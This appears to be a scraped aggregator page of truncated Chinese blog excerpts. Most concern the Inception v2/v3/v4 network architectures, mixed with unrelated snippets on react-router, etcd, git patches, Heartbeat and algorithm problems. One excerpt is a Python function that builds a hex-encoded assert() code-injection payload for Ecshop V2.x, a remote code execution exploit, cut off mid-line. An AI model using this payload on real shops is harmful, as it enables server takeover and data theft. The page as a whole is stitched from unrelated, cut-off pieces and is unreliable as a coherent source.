0 - 背景 在经过了inception v1的基础上,google的人员还是觉得有维度约间的空间,在<Rethinking the Inception Architecture for Computer Vision>一文中,通过卷积分解.网格约间等方式来修改inception模块.当然了在BN那篇论文的附录部分也多少涉及到v2的设计方向. 因为第一篇论文并没有详细说明设计inception v1的一些具体原理,而其主要是从如何减小模型的参数量上下手,所以v3上对这部分做了个简单的原则说明:…

经典分类CNN模型系列其五:Inception v2与Inception v3 介绍 Inception v2与Inception v3被作者放在了一篇paper里面,因此我们也作为一篇blog来对其讲解. Google家的Inception系列模型提出的初衷主要为了解决CNN分类模型的两个问题,其一是如何使得网络深度增加的同时能使得模型的分类性能随着增加,而非像简单的VGG网络那样达到一定深度后就陷入了性能饱和的困境(Resnet针对的也是此一问题):其二则是如何在保证分类网络分类准确率提升或…

论文地址 Inception V1 :Going Deeper with Convolutions Inception-v2 :Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Inception-v3 :Rethinking the Inception Architecture for Computer Vision Inception-v4 :Inception-Res…

from:https://blog.csdn.net/qq_14845119/article/details/73648100 Inception v1的网络,主要提出了Inceptionmodule结构(1*1,3*3,5*5的conv和3*3的pooling组合在一起),最大的亮点就是从NIN(Network in Network)中引入了1*1 conv,结构如下图所示,代表作GoogleNet 假设previous layer的大小为28*28*192,则, a的weights大小,1*…

网络结构解读之inception系列三:BN-Inception(Inception V2) BN的出现大大解决了训练收敛问题.作者主要围绕归一化的操作做了一系列优化思路的阐述,值得细看. Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift 深度网络为什么难训练? 因为internal covariate shift internal covariate shif…

目录 第一层卷积换为分离卷积 一些层的卷积核的个数发生了变化 多个小卷积核代替大卷积核 一些最大值池化换为了平均值池化 完整代码 参考资料 第一层卷积换为分离卷积 net = slim.separable_conv2d( inputs, depth(64), [7, 7], depth_multiplier=depthwise_multiplier, stride=2, padding='SAME', weights_initializer=trunc_normal(1.0), scope=en…

使用Caffe 跑 Google 的Inception V2 对输入图片的shape有要求,某些shape输进去可能会报错. Inception model中有从conv和pooling层concat的操作,而conv和pooling的output输出计算方式不完全一样.解决方案: 1. 按照原来prototxt输出图片 2. 把concat层前面stride为2的conv层替换stride为1,再额外加上一个stride为2的pooling层 e.g. 以 Inception v2 为例子In…

博主在前一篇博客中介绍了GoogLeNet 之 Inception-v1 解读中的结构和思想.Inception的计算成本也远低于VGGNet.然而,Inception架构的复杂性使得更难以对网络进行更改.如果单纯地放大架构,大部分的计算收益可能会立即丢失.这通过大量使用降维和Inception模块的并行结构来实现,这允许减轻结构变化对邻近组件的影响.但是,对于这样做需要谨慎,因为应该遵守一些指导原则来保持模型的高质量. 1 基本原则 要防止出现特征描述的瓶颈(representational…

YOLO V2 YOLO V2是在YOLO的基础上,融合了其他一些网络结构的特性(比如:Faster R-CNN的Anchor,GooLeNet的\(1\times1\)卷积核等),进行的升级.其目的是弥补YOLO的两个缺陷: YOLO中的大量的定位错误 和基于区域推荐的目标检测算法相比,YOLO的召回率(Recall)较低. YOLO V2的目标是:在保持YOLO分类精度的同时,提高目标定位的精度以及召回率.其论文地址: YOLO 9000:Better,Faster,Stronger. YO…

react-router v4 是完全重写的,所以没有简单的迁移方式,这份指南将为您提供一些步骤,以帮助您了解如何升级应用程序. 注意: 这份迁移指南适用于react-router v2和v3,但为简洁起见,对以前版本的引用仅提及v3. The Router Routes 路由嵌套 on* 属性 Switch The Router 在react-router v3中,仅有一个<Router> 组件,需要提供 history 对象作为他的属性 (prop). 此外,您可以使用 routes 作为…

V1,V2已经不被推荐使用,谷歌强烈推荐使用V3. 本人在选择时着实纠结了良久,现在总结如下: 对于V1,现在已经申请不到API KEY了,所以不要使用这个版本.这个是网址:https://developers.google.com/maps/documentation/android/v1/maps-api-signup: 对于V2,要求ANDROID SDK版本3.0以上好像,所以如果你的目标手机的版本是<3的话,V2也不适合:这个版本还是需要密钥的: 对于V3,符合以上两种情况的,就用V3…

Changing from APIv2.0 to APIv3 in Keystone - Openstack Juno on Ubuntu 1. 更换v3 的policy文件 mv /etc/keystone/policy.json /etc/keystone/policy.json.bak cp /opt/stack/keystone/etc/policy.v3cloudsample.json /etc/keystone/policy.json Step 2: Update Keystone…

Bash游戏V1 有一堆石子共同拥有N个. A B两个人轮流拿.A先拿.每次最少拿1颗.最多拿K颗.拿到最后1颗石子的人获胜.如果A B都很聪明,拿石子的过程中不会出现失误.给出N和K,问最后谁能赢得比赛. 比如N = 3.K = 2.不管A怎样拿,B都能够拿到最后1颗石子. Input 第1行:一个数T.表示后面用作输入測试的数的数量.(1 <= T <= 10000) 第2 - T + 1行:每行2个数N,K.中间用空格分隔.(1 <= N,K <= 10^9) Output…

原文:https://blog.csdn.net/kozazyh/article/details/79586530 ----------------------------------------------------- etcd2和etcd3是不兼容的,两者的api参数也不一样,详细请查看 etcdctl -h .可以使用api2 和 api3 写入 etcd3 数据,但是需要注意,使用不同的api版本写入数据需要使用相应的api版本读取数据. api 2 使用方法 ETCDCTL_API=…

1040 最大公约数之和 给出一个n,求1-n这n个数,同n的最大公约数的和.比如:n = 6 1,2,3,4,5,6 同6的最大公约数分别为1,2,3,2,1,6,加在一起 = 15 输入 1个数N(N <= 10^9) 输出 公约数之和 输入样例 6 输出样例 15 题解 \[ \sum_{i=1}^n\gcd(i,n)=\sum_{d|n}d\varphi(n) \] 暴力搞就行了. 1188 最大公约数之和 V2 给出一个数N,输出小于等于N的所有数,两两之间的最大公约数之和. 相当于计…

MobileNet系列很重要的轻量级网络家族,出自谷歌,MobileNetV1使用深度可分离卷积来构建轻量级网络,MobileNetV2提出创新的inverted residual with linear bottleneck单元,虽然层数变多了,但是整体网络准确率和速度都有提升,MobileNetV3则结合AutoML技术以及人工微调进行更轻量级的网络构建   来源:晓飞的算法工程笔记 公众号 MobileNetV1 论文: MobileNets: Efficient Convolutiona…

前言 \(HE\)沾\(BJ\)的光成功滚回家里了...这堆最大子段和的题抠了半天,然而各位\(dalao\)们都已经去做概率了...先%为敬. 引流之主:老姚的博客 最大M子段和 V1 思路 最简单的ver.数据范围在5000以内,可以考虑暴力一点的做法\(O(n^3)\),定义\(dp\)状态\(dp[i][j]\),递推式子: \[dp[i][j]=max\{dp[i-1][j],dp[k][j-1]\}+a[i]\ (j-1\le k<i) \] 其中\(i\)表示序列中前\(i\)个元…

import requests import binascii def get_v2Payload(code): '''Ecshop V2.x payload''' code = "{$abc'];@assert(%s);//}" %(code) # print(code) code = code.encode() shellcode = binascii.hexlify(code).decode() payload = "554fcae493e564ee0dc75bdf2e…

1. 生成一个补丁 git format-patch --subject-prefix=v2 -1 那么生成的patch文件就会有如下类似的信息: Subject: [v2] your description about the patch 2. 那么若是同时生成两个补丁呢? git format-patch --subject-prefix=v2, -1 生成的两个patch文件就会有如下类似信息: Subject: [v2, 1/2] your description about the p…

http://linux-ha.org http://linux-ha.org/wiki/Pacemaker Heartbeat2 http://blog.taggesell.de/index.php?/archives/83-How-To-Build-A-Heartbeat-Cluster.html apt-get install heartbeat-2 heartbeat-2-gui xauth Heartbeat3 apt-get install heartbeat pacemaker H…

前言 懒癌翻了,这篇不想写overview了,公式也比较多,今天有(zhao)点(jie)累(kou),不想一点点写latex啦,读论文的时候感觉文章不错,虽然看似很多数学公式,其实都是比较基础的公式,文章也比较细,从网上找了两篇较好的讲解,引用连接在每篇文章前面. 文章1 https://www.cnblogs.com/guoyaohua/p/8724433.html#undefined Batch Normalization作为最近一年来DL的重要成果,已经广泛被证明其有效性和重要性.虽然有…

题意:就是求石子归并. 题解:当范围在100左右是可以之间简单的区间dp,如果范围在1000左右就要考虑用平行四边形优化. 就是多加一个p[i][j]表示在i到j内的取最优解的位置k,注意能使用平行四边形优化的条件: 1.证明w满足四边形不等式,这里w是m的附属量,形如m[i,j]=opt{m[i,k]+m[k,j]+w[i,j]},此时大多要先证明w满足条件才能进一步证明m满足条件 2.证明m满足四边形不等式 3.证明s[i,j-1]≤s[i,j]≤s[i+1,j] .如果在10000左右时就…

http://blog.csdn.net/map_lixiupeng/article/details/40861791 http://blog.csdn.net/map_lixiupeng/article/details/40861475…

官方地址:https://docs.fluentd.org/quickstart/td-agent-v2-vs-v3-vs-v4…

上一篇文章我们引出了GoogLeNet InceptionV1的网络结构,这篇文章中我们会详细讲到Inception V2/V3/V4的发展历程以及它们的网络结构和亮点. GoogLeNet Inception V2 GoogLeNet Inception V2在<Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift>出现,最大亮点是提出了Batch Normal…

仅用作自己学习 这篇文章中我们会详细讲到Inception V2/V3/V4的发展历程以及它们的网络结构和亮点. GoogLeNet Inception V2        GoogLeNet Inception V2在<Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift>出现,最大亮点是提出了Batch Normalization方法,它起到以下作用:  使用…

LeNet 1998年,LeCun提出了第一个真正的卷积神经网络,也是整个神经网络的开山之作,称为LeNet,现在主要指的是LeNet5或LeNet-5,如图1.1所示.它的主要特征是将卷积层和下采样层相结合作为网络的基本机构,如果不计输入层,该模型共7层,包括2个卷积层,2个下采样层,3个全连接层. 图1.1 注:由于在接入全连接层时,要将池化层的输出转换成全连接层需要的维度,因此,必须清晰的知道全连接层前feature map的大小.卷积层与池化层输出的图像大小,其计算如图1.2所示. 图1…

从GoogLeNet的Inceptionv1开始,发展了众多inception,如inception v2.v3.v4与Inception-ResNet-V2. 故事还是要从inception v1开始说起. Inception v1 相比于GoogLeNet之前的众多卷积神经网络而言,inception v1采用在同一层中提取不同的特征(使用不同尺寸的卷积核),并提出了卷积核的并行合并(也称为Bottleneck layer),如下图 这样的结构主要有以下改进: 一层block就包含1x1卷积…

0. 背景 随着何凯明等人提出的ResNet v1,google这边坐不住了,他们基于inception v3的基础上,引入了残差结构,提出了inception-resnet-v1和inception-resnet-v2,并修改inception模块提出了inception v4结构.基于inception v4的网络实验发现在不引入残差结构的基础上也能达到和inception-resnet-v2结构相似的结果,从而认为何凯明等人认为的: "要想得到深度卷积网络必须使用残差结构" 这一…

文章来源: https://www.cnblogs.com/shouhuxianjian/p/7786760.html Feature Extractor[Inception v4] 0. 背景 随着何凯明等人提出的ResNet v1,google这边坐不住了,他们基于inception v3的基础上,引入了残差结构,提出了inception-resnet-v1和inception-resnet-v2,并修改inception模块提出了inception v4结构.基于inception v4的…